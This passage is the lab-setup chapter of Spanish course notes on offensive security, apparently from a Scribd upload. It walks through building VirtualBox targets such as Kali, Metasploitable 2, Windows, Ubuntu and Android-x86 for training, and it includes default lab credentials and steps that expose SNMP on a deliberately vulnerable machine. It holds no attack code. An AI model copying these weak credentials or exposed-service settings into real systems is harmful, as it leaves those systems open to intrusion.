0% encontró este documento útil (0 votos)
3K vistas774 páginas

Notas de Seguridad Informatica Ofensiva

Este documento proporciona instrucciones para instalar y configurar varias máquinas virtuales, incluidas Kali Linux, Metasploitable 2, Windows 7, Windows 10 y Ubuntu 16.04, utilizando Oracle VM VirtualBox. También cubre cómo agregar una tarjeta de red inalámbrica USB y Android-x86.

Cargado por

Alex Sotomayor
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
3K vistas774 páginas

Notas de Seguridad Informatica Ofensiva

Este documento proporciona instrucciones para instalar y configurar varias máquinas virtuales, incluidas Kali Linux, Metasploitable 2, Windows 7, Windows 10 y Ubuntu 16.04, utilizando Oracle VM VirtualBox. También cubre cómo agregar una tarjeta de red inalámbrica USB y Android-x86.

Cargado por

Alex Sotomayor
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd

Tabla de contenido

Introduction 1.1
Máquinas virtuales con virtualbox 1.2
Despliegue de aplicaciones con github y heroku 1.3
Recopilación de información 1.4
Escaneando 1.5
Enumeración 1.6
Ataques contra crendenciales de usuario 1.7
Tras ganar acceso 1.8
Web 1.9
Ataques a bases de datos 1.10
Ataques a redes inalámbricas 1.11
Moviles android 1.12
Backdoors 1.13
Criptografía 1.14

1
Introduction

Notas de seguridad informática ofensiva


He creado este repositorio para compartir el contenido que he añadido para complementar
el material oficial de las clases que imparto de introducción a la seguridad informática desde
el punto de vista ofensivo. El objetivo que persigue este material es servir de guía o libro
para los alumnos del curso o cualquier persona que este interesada en la seguridad
informática. Aunque quizá no sea el mejor, se respeta el orden establecido en el material
oficial del curso. Como autor de este contenido añadido al curso, me gustaría decir que soy
una persona a la que le encanta aprender. Por ello, por favor, si algo se puede mejorar o es
incorrecto, no dudes en ponerte en contacto conmigo para que pueda modificarlo, mejorarlo
y, por supuesto, dar crédito de tu contribución. El presente documento se encuentra en
proceso de desarrollo.

Descargo de Responsabilidad
Toda la información que se expone a continuación sólo tiene fines educativos y pretende
servir como manual del material que se ha visto en clase o como guía para cualquier
persona interasada en la seguridad informática desde el punto de vista ofensivo. Como
autor de este material, no me hago responsable de cualquier uso indebido que se haga de
esta información. Para la mayoría de las pruebas que se enseñan en este manual se
requiere autorización legal por escrito del propietario del activo sobre el que se realice la
prueba.

Github
Existe una versión de este contenido en Github

Licencia

Esta obra está bajo una Licencia Creative Commons Atribución-CompartirIgual 4.0
Internacional.

2
Introduction

3
Máquinas virtuales con virtualbox

Máquinas virtuales con virtualbox


En este tema de introducción, instalaremos las máquinas virtuales que usaremos durante el
curso. Iremos actualizando este tema de introducción a medida que avance el curso.

NOTA IMPORTANTE
Aunque se debería comprobar la integridad, siempre que fuese posible, de todos los
ficheros que descarguemos, en esta guía, por agilizar, de momento sólo mostraremos como
hacerlo, desde Windows, en la instalación de la máquina virtual de Ubuntu.

1. Instalando virtualbox
Instalando Virtualbox
Configurar una red en NAT
Configurar una segunda red en NAT para los ejemplos de pivoting

2. Instalando Kali Linux


Instalando Kali Linux
Configurando Kali Linux para el ejercicio de pivoting

3. Metasploitable 2
Instalando metasploitable 2
Configurando el servicio snmp

4. Windows 7
Instalando la máquina virtual de windows 7
Configurando el idioma
Configurando las opciones de energía

5. Windows 10
Instalando la máquina virtual de windows 10
Configurando el idioma
Configurando las opciones de energía
Configuración para el ejercicio de pivoting

6. Ubuntu 16.04.3 LTS - Server


Descargando una imagen de ubuntu
Comprobando el hash de la descarga

4
Máquinas virtuales con virtualbox

Instalando la máquina virtual de ubuntu server


Instalando un servicio ntp

7. Máquinas virtuales de Live CD

8. Hackademic RTB2

9. Añadiendo una tarjeta inalámbrica USB a la máquina virtual

10. Android-x86

1. Instalando virtualbox

Instalando Virtualbox
Descargamos la versión para windows de la web de virtualbox haciendo click en Windows
hosts:

Después descargamos el extensión pack pra virtualbox haciendo click en All supported
platforms:

5
Máquinas virtuales con virtualbox

Tras descargarlo, lo ejecutamos y pulsamos el botón Next:

Nuevamente pulsamos el botón Next:

6
Máquinas virtuales con virtualbox

Seguimos pulsando el botón Next:

A continuación, pulsamos el botón Yes:

7
Máquinas virtuales con virtualbox

Finalmente, pulsamos el botón install:

para que comience la instalación:

8
Máquinas virtuales con virtualbox

al finalizar la instalación, pulsamos el botónFinish:

para ejecutar virtualbox:

9
Máquinas virtuales con virtualbox

Una vez instalado virtualbox, instalamos el extension pack. Para ello, lo ejecutamos
haciendo doble click:

Pulsamos el botón Install para continuar:

Entendiendo en el tutorial que se acepta la licencia, pulsamos el botón I Agree:

10
Máquinas virtuales con virtualbox

Una vez que se instale, pulsamos el botón OK:

Configurar una red en NAT


Ya tenemos virtualbox y pack de extensiones instalado. Con el fin de seguir mejor los
ejemplos de este manual, vamos a configurar una red en NAT. Para ello, seleccionamos la
opción Preferences... del menú File:

11
Máquinas virtuales con virtualbox

En el menú de opciones, seleccionamos Network en el menú de la izquierda y pulsamos el


botón que tiene un signo +:

Se creará un nuevo NatNetwork. Ahora pulsamos en el botón con el icono engranaje para
configurarlo:

12
Máquinas virtuales con virtualbox

Establecemos la red que queremos -para seguir los ejemplos del libro se ha elegido la red
[Link]/24- y pulsamos el botón OK:

Configurar una segunda red en NAT para los ejemplos de


pivoting
Repetimos el proceso para instalar una segunda red en NAT. Seleccionamos la opción
Preferences... del menú File:

13
Máquinas virtuales con virtualbox

En el menú de opciones, seleccionamos Network en el menú de la izquierda y pulsamos el


botón que tiene un signo +:

14
Máquinas virtuales con virtualbox

Se creará un nuevo NatNetwork. Ahora pulsamos en el botón con el icono engranaje para
configurarlo:

Si no viene por defecto, añadimos [Link]/24 y pulsamos el botón OK:

15
Máquinas virtuales con virtualbox

y nuevamente pulsamos OK para aceptar los cambios:

16
Máquinas virtuales con virtualbox

2. Instalando Kali Linux

Instalando Kali Linux


Descargamos la máquina virtual de Kali Linux para virtualbox desde la página de Offensive
Security:

Una vez descargada, abrimos virtualbox y seleccionamos Import Appliance... del menú File:

A continuación pulsamos el icono que tiene una carpeta:

17
Máquinas virtuales con virtualbox

Buscamos el archivo que nos hemos descargado y pulsamos el botón Open:

Pulsamos el botón Next para continuar el proceso de importación:

18
Máquinas virtuales con virtualbox

Finalmente pulsamos el botón Import:

19
Máquinas virtuales con virtualbox

para importar la máquina virtual de Kali Linux:

Tras finalizar el proceso de importación, podremos ver la máquina virtual en virtualbox:

20
Máquinas virtuales con virtualbox

Antes de iniciarla, pulsamos en Settings para poner la máquina virtual en la red que hemos
configurado:

Para ello vamos a la pestaña Network y seleccionamos la opción NAT Network del menú
Attached to:

21
Máquinas virtuales con virtualbox

En las opciones avanzadas, seleccionamos la opción Allow All del menú Promiscuous
Mode:

22
Máquinas virtuales con virtualbox

Tras ello pulsamos el botón OK e iniciamos Kali Linux pulsando el botón Start:

Nos logamos en la máquina con el usuario root:

y la contraseña toor:

23
Máquinas virtuales con virtualbox

Una vez entremos en Kali, pulsamos en la flecha situada en la esquina superior derecha
para desplegar el menú y hacemos click sobre el icono redondo que contiene herramientas:

Como el teclado por defecto no viene en el formato de España, en el menú opciones,


seleccionamos Region & Language y pulsamos el botón +:

24
Máquinas virtuales con virtualbox

seleccionamos Spanish:

Nuevamente, seleccionamos Spanish y pulsamos el botón Add:

25
Máquinas virtuales con virtualbox

Finalmente, con English (US) seleccionado, pulsamos el btón -:

para sólo dejar el teclado en formato de España:

26
Máquinas virtuales con virtualbox

Después vamos a la opción Power y, en el menú Blank Screen, seleccionamos Never:

Cerramos el menú de opciones y pulsamos sobre el botón circular de Apagar:

27
Máquinas virtuales con virtualbox

y confirmamos pulsando el botón rojo Power Off:

Configurando Kali Linux para el ejercicio de pivoting


Esta configuración debe hacerse con la máquina virtual apagada. Desde virtualbox,
seleccionamos la máquina virtual de Kali Linux, hacemos click sobre Network:

28
Máquinas virtuales con virtualbox

A continuación, seleccionamos NatNetwork1 en el menú desplegable Name:

29
Máquinas virtuales con virtualbox

Pulsamos el botón OK para aceptar los cambios:

Verificamos que Kali esta usando NatNetwork1:

30
Máquinas virtuales con virtualbox

Metasploitable 2

Instalando metasploitable 2
Descargamos Metasploitable 2

Descomprimimos la carpeta para ver los archivos. De todos ellos, necesitaremos


[Link]:

Vamos a virtualbox y pulsamos el botón New:

31
Máquinas virtuales con virtualbox

Le damos un nombre a la máquina, por ejemplo, Metasploitable. Después seleccionamos


Linux en el menú desplegable Type y seleccionamos Ubuntu (32-bit) en el menú
desplegable Version. Finalmente pulsamos el botón Next:

Dejamos la memoria que viene por defecto y pulsamos el botón Next:

32
Máquinas virtuales con virtualbox

A continuación, seleccionamos la opción Use an existing virtual hard disk file y pulsamos el
icono de la carpeta para buscarlo:

Seleccionamos el archivo [Link] que está en la carpeta que hemos


descomprimido y pulsamos el botón Open:

33
Máquinas virtuales con virtualbox

Pulsamos el botón Create para finalizar:

Veremos que se ha creado la máquina virtual Metasploitable en virtualbox:

34
Máquinas virtuales con virtualbox

Antes de iniciarla, con la máquina seleccionada en el panel de la izquierda, pulsamos el


botón Settings:

En la pestaña Network, seleccionamos la opción NAT Network del menú Attached to para
unir la máquina a nuestra red NAT:

35
Máquinas virtuales con virtualbox

finalmente pulsamos el botón OK:

Configurando el servicio snmp


Iniciamos la máquina Metasploitable pulsando el botón Start:

36
Máquinas virtuales con virtualbox

Cuando apareca la pantalla de logín, vemos que nos indica que las credenciales son:

Usuario: msfadmin
Contraseña: msfadmin

Nos logamos en la máquina usando esas credenciales:

37
Máquinas virtuales con virtualbox

Ahora editaremos la configuración del servicio snmp para que, en vez de sólo estar a la
escucha en localhost, lo este en la red NAT que hemos creado. Para editar la configuración
del servicio snmp, editamos el fichero /etc/default/snmpd con cualquier editor de texto. En
este caso usamos nano:

Autorizamos la operación con la contraseña msfadmin:

38
Máquinas virtuales con virtualbox

Una vez se abrá el fichero, tenemos que localizar la dirección IP del localhost ([Link]) de
la línea que empieza por SNMPDOPTS:

Una vez localizada, borramos la dirección IP. La línea debería quedar así:

39
Máquinas virtuales con virtualbox

Una vez modificada la línea pulsamos la combinación de teclas Ctrl+X para salir:

Pulsamos la tecla Y para confirmar que queremos guardar los cambios que hemos
realizado al fichero:

40
Máquinas virtuales con virtualbox

Finalmente pulsamos la tecla Intro para confirmar y salir:

Una vez realizado los cambios en el fichero podemos iniciar el servicio snmp tecleando:
sudo /etc/init.d/snmpd start y autorizando la operación con nuestra contraseña (msfadmin):

El servicio quedará iniciado:

41
Máquinas virtuales con virtualbox

Necesitaremos iniciar este servicio en la fase de enumeración. Para detener el servicio


snmp tecleamos: sudo /etc/init.d/snmpd stop:

Cuando terminemos de usar la máquina elegimos la opción Close... del menú File:

Seleccionamos la opción Power off the machine y pulsamos el botón OK:

4. Windows 7
Podemos descargar una máquina virtual con windows 7 instalado a través del siguiente
enlace:

42
Máquinas virtuales con virtualbox

En este caso seleccionamos una máquina virtual con windows 7 para Virtualbox y pulsamos
el botón Download .ZIP:

43
Máquinas virtuales con virtualbox

Tras descargarlo, descomprimimos el archivo:

Una vez descomprimido el archivo, vamos a virtualbox y seleccionamos la opción Import


Appliance... del menú File:

44
Máquinas virtuales con virtualbox

Después hacemos click en el icono de la carpeta con la flecha verde:

Seleccionamos el archivo que hemos descomprimido y pulsamos el botón Open:

45
Máquinas virtuales con virtualbox

Pulsamos el botón Next para continuar:

46
Máquinas virtuales con virtualbox

Finalmente pulsamos el botón Import:

47
Máquinas virtuales con virtualbox

Una vez termine el proceso de importación, podremos verla en virtualbox:

48
Máquinas virtuales con virtualbox

Antes de iniciarla, con la máquina seleccionada en el panel de la izquierda, pulsamos el


botón Settings:

49
Máquinas virtuales con virtualbox

En la pestaña Network, seleccionamos la opción NAT Network del menú Attached to para
unir la máquina a nuestra red NAT:

50
Máquinas virtuales con virtualbox

finalmente pulsamos el botón OK:

51
Máquinas virtuales con virtualbox

5. Windows 10

Instalando la máquina virtual de windows 10


Podemos descargar una máquina virtual con windows 10 instalado a través del siguiente
enlace:

52
Máquinas virtuales con virtualbox

En este caso seleccionamos la última versión estable de la máquina virtual con windows 10
para Virtualbox y pulsamos el botón Download .ZIP:

53
Máquinas virtuales con virtualbox

Tras descargarlo, descomprimimos el archivo:

Abrimos virtualbox y seleccionamos Import Appliance... en el menú desplegable File:

54
Máquinas virtuales con virtualbox

Después hacemos click en el icono de la carpeta con la flecha verde:

55
Máquinas virtuales con virtualbox

Seleccionamos el archivo que hemos descomprimido y pulsamos el botón Abrir:

56
Máquinas virtuales con virtualbox

Pulsamos el botón Next para continuar:

57
Máquinas virtuales con virtualbox

Finalmente pulsamos el botón Import:

58
Máquinas virtuales con virtualbox

Una vez termine el proceso de importación, podremos verla en virtualbox:

Antes de iniciarla, con la máquina seleccionada en el panel de la izquierda, pulsamos el


botón Settings:

59
Máquinas virtuales con virtualbox

En la pestaña Network, seleccionamos la opción NAT Network del menú Attached to para
unir la máquina a nuestra red NAT:

60
Máquinas virtuales con virtualbox

En la pestaña Display, nos aseguramos que la memoria de video este en el rango verde:

61
Máquinas virtuales con virtualbox

Finalmente pulsamos el botón OK para guardar los cambios:

62
Máquinas virtuales con virtualbox

Configurando el idioma
La máquina por defecto viene con distribución del teclado en inglés. Vamos a cambiarlo a
español. Iniciamos la máquina pulsando el botón Start:

63
Máquinas virtuales con virtualbox

Una vez iniciada, vamos al Panel de Control:

64
Máquinas virtuales con virtualbox

Seleccionamos Large Icons en el menú desplegable View by

65
Máquinas virtuales con virtualbox

Hacemos click sobre Language:

66
Máquinas virtuales con virtualbox

A continuación click sobre Options:

67
Máquinas virtuales con virtualbox

Descpués click sobre el enlace Add an input method:

68
Máquinas virtuales con virtualbox

Buscamos Spanish entre las opciones y una vez localizado, lo seleecionamos y pulsamos el
botón Add:

69
Máquinas virtuales con virtualbox

A continuación eliminamos la distribución del teclado en Inglés pulsando el enlace Remove


correspondiente a la distribución de teclado US:

70
Máquinas virtuales con virtualbox

Finalmente pulsamos el botón Save para guardar los cambios:

71
Máquinas virtuales con virtualbox

Veremos que ahora, la distribución del teclado es en español:

72
Máquinas virtuales con virtualbox

Configurando las opciones de energía


Vamos a configurar las opciones de energía para evitar que se apague la pantalla mientras
estamos ejecutando programas o simplemente a la espera. Para ello, desde el Panel de
control, seleccionamos Power Options:

73
Máquinas virtuales con virtualbox

Hacemos click en Choose when to turn off the display:

74
Máquinas virtuales con virtualbox

Seleccionamos Turn off the display en los menús desplegables:

75
Máquinas virtuales con virtualbox

Finalmente pulsamos sobre Save changes:

76
Máquinas virtuales con virtualbox

Configuración para el ejercicio de pivoting


Vamos a añadir una segunda tarjeta de red para el ejercicio de pivoting. Sólo para el
ejercicio de pivoting lo configuraremos de esta manera. Para poder hacerlo correctamente
debe estar apagada la máquina virtual. Desde virtualbox, con la máquina virtual
seleccionada, hacemos click sobre Network:

77
Máquinas virtuales con virtualbox

A continuación, seleccionamos NatNetwork1 en el menú desplegable Name:

78
Máquinas virtuales con virtualbox

Después hacemos click en la pestaña Adapter 2 para añadir la segunda tarjeta de red:

Habilitamos la tarjeta de red haciendo click en la casilla Enable Network Adapter y


seleccionamos NAT Network del menú desplegable Attached to:

79
Máquinas virtuales con virtualbox

Después pulsamos la flecha azul a la izquierda de Advanced y seleccionamos Intel


PRO/1000 MT Desktop (82540EM) del menú desplegable Adapter Type:

80
Máquinas virtuales con virtualbox

Finalmente pulsamos el botón OK para aceptar los cambios:

y podremos ver que la nueva tarjeta de red se ha añadido:

81
Máquinas virtuales con virtualbox

Deberia quedar configurado de la siguiente manera:

Adapter 1 => NatNetwork1


Adapter 2 => NatNetwork2

Instalando Java SDK 8


Accedemos a la sección de descargas de Java SDK 8 y pulsamos el botón Accept License
Agreement:

82
Máquinas virtuales con virtualbox

Una vez aceptada la licencia, podremos descargar la versión correspondiente a nuestro


sistema operativo. En este caso descargamos la versión para windows de 64 bits:

Una vez descargado, hacemos doble click sobre el fichero para instalarlo:

Pulsamos el botón OK para dar permisos a la aplicación:

83
Máquinas virtuales con virtualbox

y que pueda comenzar la instalación. A continuación hacemos click en el botón Next:

y nuevamente en Next:

84
Máquinas virtuales con virtualbox

para que comience la instalación:

A continuación hacemos click en el botón Next para dejar la ruta por defecto:

85
Máquinas virtuales con virtualbox

y continuará instalandose:

Una vez termine, pulsamos el botón Close:

86
Máquinas virtuales con virtualbox

Instalando Android Studio


Accedemos a la web de Android Studio y pulsamos el botón Download Android Studio:

Aceptamos los términos y condiciones y después pulsamos el botón para descargarlo:

87
Máquinas virtuales con virtualbox

Una vez descargado, hacemos doble click en el fichero para ejecutarlo:

Hacemos click en OK para dar permiso a la aplicación:

y comenzar la instalación. A continuación pulsamos el botón Next:

88
Máquinas virtuales con virtualbox

Nuevamente en Next para aceptar las opciones:

Nuevamente en Next para aceptar la ruta:

89
Máquinas virtuales con virtualbox

y finalmente, pulsamos el botón Install:

para comenzar la instalación:

90
Máquinas virtuales con virtualbox

Una vez termine la instalación, pulsamos el botón Next:

Desactivamos la casilla Start Android Studio y pulsamos el botón Finish:

91
Máquinas virtuales con virtualbox

Reiniciamos la máquina y abrimos android studio:

92
Máquinas virtuales con virtualbox

Hacemos click en Next la pantalla de bienvenida:

93
Máquinas virtuales con virtualbox

Seleccionamos la configuración standard y hacemos click en Next:

94
Máquinas virtuales con virtualbox

Elegimos la interfaz de usuario que más nos guste y hacemos click en Next:

95
Máquinas virtuales con virtualbox

Seleccionamos la casilla Android Virtual Device y hacemos click en Next:

96
Máquinas virtuales con virtualbox

Por último, hacemos click en Finish:

97
Máquinas virtuales con virtualbox

para que comience a descargar e instalar los componentes seleccionados:

98
Máquinas virtuales con virtualbox

Cuando termine, pulsamos el botón Finish:

99
Máquinas virtuales con virtualbox

6. Ubuntu 16.04.3 LTS - Server

Descargando una imagen de ubuntu


Descargamos la última versión de Ubuntu server de la web oficial. Para ello, pulsamos
seleccionamos la opción Server en el menú Downloads:

100
Máquinas virtuales con virtualbox

La última versión estable de ubuntu al realizar esta guía es 16.04.3 LTS. La descargamos
pulsando en el botón Download:

101
Máquinas virtuales con virtualbox

Comprobando el hash de la descarga


Sabemos que cuando descargamos un archivo desde internet pasa por varios ordenadores
antes de llegar al nuestro, para comprobar la integridad de la descarga. Es decir, para
verificar que el fichero que nos hemos descargado no ha sufrido modificaciones mientras
pasaba por los ordenadores intermedios y asegurarnos que tenemos exactamente el mismo
fichero que hay en la web ubuntu, vamos a calcular el hash del fichero descargado. Para
ello, primero necesitamos saber cual es el hash del fichero que esta en la web de ubuntu.
Para conocer el hash del fichero original, accedemos a la web de descargas de ubuntu y
hacemos click sobre la versión que nos hayamos descargado. En este caso Ubuntu 16.04.3
LTS:

102
Máquinas virtuales con virtualbox

Hacehmos click sobre el algoritmo hash que queramos usar para la verificación. Se
recomienda usar SHA256SUMS porque tanto para SHA1 como para MD5 se han
encontrado colisiones y no son algoritmos de hashing seguros.

Tras hacer click podremos ver el hash del fichero que esta en el servidor. El que nos
interesa es el de la versión server de ubuntu que hemos descargado:

Ahora comprobamos que el hash que tiene el fichero descargado. Para calcular el hash del
fichero descargado podemos usar powershell. Desde el interprete de comandos de
windows, tecleamos powershell:

103
Máquinas virtuales con virtualbox

Veremos que estamos usando powershell porque al comienzo del promtp del interprete de
comandos, aparecen las letras PS:

Podemos usar el comando (cmdlet) Get-FileHash. Una forma de usarlo es indicarle fichero
sobre el que queremos calcular el hash y algoritmo a utilizar. En este caso usaremos
SHA256. Desde la carpeta donde hayamos descargado el archivo, ejecutamos el comando:

Get-FileHash '.\[Link]' -Algorithm SHA256

Si queremos ver más opciones sobre el cmdlet, Get-FileHash, podemos usar el comando
(cmdlet) Get-Help para obtener una breve información:

Una vez obtenidos los 2 hashes, tenemos que compararlos para saber que el fichero en
origen es el mismo que tenemos descargado. Para ello creamos una variable en powershell
que contenga el hash del fichero original. Como las letras de este hash están en minúsculas

104
Máquinas virtuales con virtualbox

y Get-FileHash nos lo ha calculado en mayúsculas. Al guardar el valor en la variable, lo


convertimos en mayúsculas usando el método ToUpper():

Ahora creamos otra variable para guardar el valor hash del fichero descargado que se ha
calculado desde powershell usando el comando (cmdlet) Get-FileHash:

Ahora comparamos ambos hashes y vemos que son iguales:

105
Máquinas virtuales con virtualbox

Con esto confirmamos que el fichero no ha sido modificado durante el transcurso de la


descarga. Es decir, que el fichero se ha descargado correctamente.

Instalando la máquina virtual de ubuntu server


Abrimos virtualbox y pulsamos el botón New para crear una nueva máquina virtual:

Le damos un nombre a la máquina virtual. En este caso, Ubuntu 16.04.3 LTS Server,
seleccionamos Linux en el menú desplegable Type y Ubuntu (64-bit) en el menú
desplegable Version. A continuación pulsamos el botón Create:

106
Máquinas virtuales con virtualbox

para ver las opciones de creación del disco duro virtual. Las ajustamos nuestro gusto y
pulsamos, nuevamente, el botón Create:

107
Máquinas virtuales con virtualbox

Una vez creada la máquina virtual, le tenemos que indicar el dónde se encuentra la imagen
que usaremos para instalar ubuntu. Para ello hacemos click en Storage:

108
Máquinas virtuales con virtualbox

y después hacemos click en el icono del disco a la derecha del menú desplegable Optical
Drive y seleccionamos la opción Choose Virtual Optical Disk File:

109
Máquinas virtuales con virtualbox

Seleccionamos la imagen de ubuntu que hemos descargado y pulsamos el botón Abrir:

Veremos que la imagen se ha cargado correctamente:

A continuación hacemos click en la opción Network en el panel lateral y seleccionamos Nat


Network del menú desplegable Attached to para poner la máquina virtual en la red que
hemos creado:

110
Máquinas virtuales con virtualbox

Finalmente pulsamos el botón OK para aceptar los cambios:

111
Máquinas virtuales con virtualbox

Ya podemos iniciar la máquina virtual pulsando el botón Start:

La primera opción es configurar el idioma. Yo la voy a instalar en inglés, pero podéis elegir
el idioma que prefirais. Una vez elegido el idioma, pulsamos la tecla Intro:

112
Máquinas virtuales con virtualbox

A continuación, elegimos la opción Install Ubuntu Server y volvemos a pulsar intro:

113
Máquinas virtuales con virtualbox

Seleccionamos el idioma para la instalacion -en mi caso inglés- y volvemos a pulsar intro:

114
Máquinas virtuales con virtualbox

El siguiente paso es configurar la zona horaria. Como en el menú no viene Spain,


selecciono other y pulso intro:

115
Máquinas virtuales con virtualbox

Después selecciono Europe y pulso intro:

116
Máquinas virtuales con virtualbox

Ahora si veo Spain entre las opciones. Lo selecciono y pulso intro:

117
Máquinas virtuales con virtualbox

A continuación, dejo la opción que me ofrece por defecto:

118
Máquinas virtuales con virtualbox

Después nos pregunta si deseamos que detecte automáticamente el teclado.


Seleccionamos No y pulsamos intro:

119
Máquinas virtuales con virtualbox

Seleccionamos Spanish para configurar el teclado para español:

120
Máquinas virtuales con virtualbox

Nuevamente, seleccionamos Spanish y pulsamos intro:

121
Máquinas virtuales con virtualbox

A continuación configurarmos el hostname. En mi caso lo dejo por defecto:

122
Máquinas virtuales con virtualbox

Después nos solicitará el nombre completo del del usuario. En mi caso, lo dejo vacio y pulso
intro:

123
Máquinas virtuales con virtualbox

Después tenemos que crear un usuario. En este caso uso user y pulso intro:

124
Máquinas virtuales con virtualbox

Seleccionamos una contraseña para el usuario y pulsamos intro:

125
Máquinas virtuales con virtualbox

Repetimos la contraseña y volvemos a pulsar intro:

126
Máquinas virtuales con virtualbox

Ahora seleccionamos No para que no se cifre nuestra carpeta de usuario y pulsamo intro:

127
Máquinas virtuales con virtualbox

Confirmamos que la zona horaria es Europe/Madrid y pulsamos intro:

128
Máquinas virtuales con virtualbox

Si estuviesemos instalando el sistema operativo para usarlo nosotros, seleccionaríamos la


opción Guided - use entire disk and set up encrypted LVM para que se cifrase el disco duro,
pero para este ejemplo, usaremos la opción Guided - use entire disk and set up LVM:

129
Máquinas virtuales con virtualbox

En la siguiente simplemente pulsamos intro:

130
Máquinas virtuales con virtualbox

A continuación seleccionamos Yes y pulsamos intro:

131
Máquinas virtuales con virtualbox

Después seleccionamos Continue y pulsamos intro:

132
Máquinas virtuales con virtualbox

Finalmente seleccionamos Yes y pulsamos intro para instalarlo:

133
Máquinas virtuales con virtualbox

Al terminar de instalar, nos preguntará si queremos configurar un proxy, en mi caso lo dejo


en blanco, selecciono Continue y pulso intro:

134
Máquinas virtuales con virtualbox

Después le indicamos que no queremos instalar actualizaciones automáticamente:

135
Máquinas virtuales con virtualbox

Seleccionamos el conjunto de paquetes de software que queremos instalar. En este caso


standard system utilities. Seleccionamos Continue y pulsamos intro:

136
Máquinas virtuales con virtualbox

A continuación nos preguntará si queremos instalar Grub como boot loader. Seleccionamos
Yes y pulsamos intro:

137
Máquinas virtuales con virtualbox

Finalmente seleccionamos Continue y pulsamos intro para finalizar la instalación:

138
Máquinas virtuales con virtualbox

Una vez termine la instalación, se iniciará la máquina virtual y nos mostrará la pantalla de
login:

139
Máquinas virtuales con virtualbox

Nos identificamos con nuestro nombre de usuario y nos autenticamos con la contraseña
para el usuario:

140
Máquinas virtuales con virtualbox

Instalando un servicio ntp


Antes de instalar ningún servicio, comenzamos por actualizar el repositorio de paquetes
usando el programa apt. Para actualizar el repositorio usamos el comando:

apt-get update

Pero como para ejecutarlo necesitamos permisos de administrador (superusuario), lo


ejecutamos usando sudo:

sudo apt-get update

Ahora podemos instalar el servicio ntp, usando nuevamente apt de la siguiente forma:

sudo apt-get install ntp

141
Máquinas virtuales con virtualbox

Una vez instalado, tenemos que configurarlo. Para ello, abrimos el fichero de configuración
usando un editor de texto como nano:

sudo nano /etc/[Link]

Primero añadimos los servidores ntp, en orden de preferencia, con los que queremos
sincronizarnos para tener la hora. En este caso hemos buscado alguno cercano en rediris y
el servidor ntp por defecto de ubuntu. Los añadimos al fichero en donde se indica en la
siguiente imagen:

142
Máquinas virtuales con virtualbox

Por defecto, el servicio ntpv4 no permite realizar consultas usando programas con ntpq, por
lo que tendremos que borrar la opción noquery que se indica en amarillo para que el
servidor permita las consultas:

143
Máquinas virtuales con virtualbox

Las líneas deberían quedar así:

Pulsamos la combinación de teclas Ctrl+X para salir:

144
Máquinas virtuales con virtualbox

A continuación, la tecla Y para confirmar que queremos guardar los cambios. Tras pulsarla
aparecerá el nombre del fichero donde se guardarán los cambios:

145
Máquinas virtuales con virtualbox

Pulsamos intro para confirmar:

146
Máquinas virtuales con virtualbox

Ahora que lo tenemos configurado, podemos iniciar el servicio:

sudo systemctl start ntp

y verlo desde Kali Linux:

147
Máquinas virtuales con virtualbox

Máquinas virtuales de live cd


Hacemos click en el botón New:

Damos un nombre a la máquina y seleccionamos el sistema operativo:

Seleccionamos la memoria:

148
Máquinas virtuales con virtualbox

Creamos el disco duro:

149
Máquinas virtuales con virtualbox

Dejamos la opción por defecto y pulsamos Next:

Nuevamente por defecto y pulsamos Next:

150
Máquinas virtuales con virtualbox

Finalmente, pulsamos create para crear la máquina virtual:

Una vez creada, la seleccionamos y hacemos click en el botón Settings:

151
Máquinas virtuales con virtualbox

Y en la opción Storage, hacemos click en el disco para seleccionar la imagen livecd que
usaremos:

Después hacemos click en la pestaña Network para seleccionar la red NAT:

y finalmente pulsamos sobre OK para guardar los cambios:

152
Máquinas virtuales con virtualbox

Ya podemos iniciar la máquina pulsando el botón Start:

Hackademic RTB2

153
Máquinas virtuales con virtualbox

Descargamos la máquina de vulnhub y descomprimimos el archivo. Para montarla,


hacemos click en el botón New:

Le damos un nombre, seleccionamos Ubuntu (32-bit) y pulsamos el botón Next:

154
Máquinas virtuales con virtualbox

Dejamos el giga de memoria que viene por defecto y pulsamos el botón Next:

Seleccionamos Use an existing virtual hard drive disk file y pulsamos el icono de la carpeta
con la flecha verde:

155
Máquinas virtuales con virtualbox

Seleccionamos el disco y pulsamos el botón Abrir:

Finalmente, pulsamos el botón Create:

156
Máquinas virtuales con virtualbox

para crear la máquina virtual. Con la máquina virtual creada, hacemos click sobre Network:

ponemos la máquina en la red NAT que estemos usando y pulsamos el botón OK:

157
Máquinas virtuales con virtualbox

Ahora ya podemos iniciar la máquina pulsando el botón Start:

158
Máquinas virtuales con virtualbox

Añadiendo una tarjeta inalámbrica USB a la máquina virtual


Vamos a ver cómo añadir a virtualbox una tarjeta inalámbrica USB que soporte el modo
monitor. Para ello, seleccionamos la máquina virtual a la que queramos añadir la tarjeta -en
este caso Kali Linux- y pulsamos el botón Settings:

En el menú de la izquierda seleccionamos USB y hacemos click sobre el botón que tiene un
icono con un símbolo de sumar verde:

159
Máquinas virtuales con virtualbox

Hacemos click en el chipset de la tarjeta inalámbrica:

y finalmente pulsamos el botón OK para añadirla:

160
Máquinas virtuales con virtualbox

Si lo hemos hecho correctamente, una vez iniciemos la máquina virtual, podremos ejecutar
el comando iwconfig para visualizarla:

Android-x86
Vamos a descargar android-x86 para poder correr un sistema android en una máquina
virtual de virtualbox. Para ello accedemos a la web de descargas del proyecto Android-x86 y
hacemos click sobre la iso para sistemas de 64 bits:

161
Máquinas virtuales con virtualbox

y guardamos el archivo:

Una vez que se haya descargado, abrimos virtualbox y pulsamos el botón New:

162
Máquinas virtuales con virtualbox

Ponemos las opciones como se indica a continuación y pulsamos el botón Next:

Seleccionamos la memoria y hacemos click en Next:

163
Máquinas virtuales con virtualbox

A continuación pulsamos el botón Create para crear un disco duro:

Hacemos click en Next dejando las opciones por defecto:

164
Máquinas virtuales con virtualbox

Volvemos a pulsar el botón Next:

y finalmente el botón Create:

165
Máquinas virtuales con virtualbox

Android-x86
Vamos a descargar android-x86 para poder correr un sistema android en una máquina
virtual de virtualbox. Para ello accedemos a la web de descargas del proyecto Android-x86 y
hacemos click sobre la iso para sistemas de 64 bits:

y guardamos el archivo:

Una vez que se haya descargado, abrimos virtualbox y pulsamos el botón New:

166
Máquinas virtuales con virtualbox

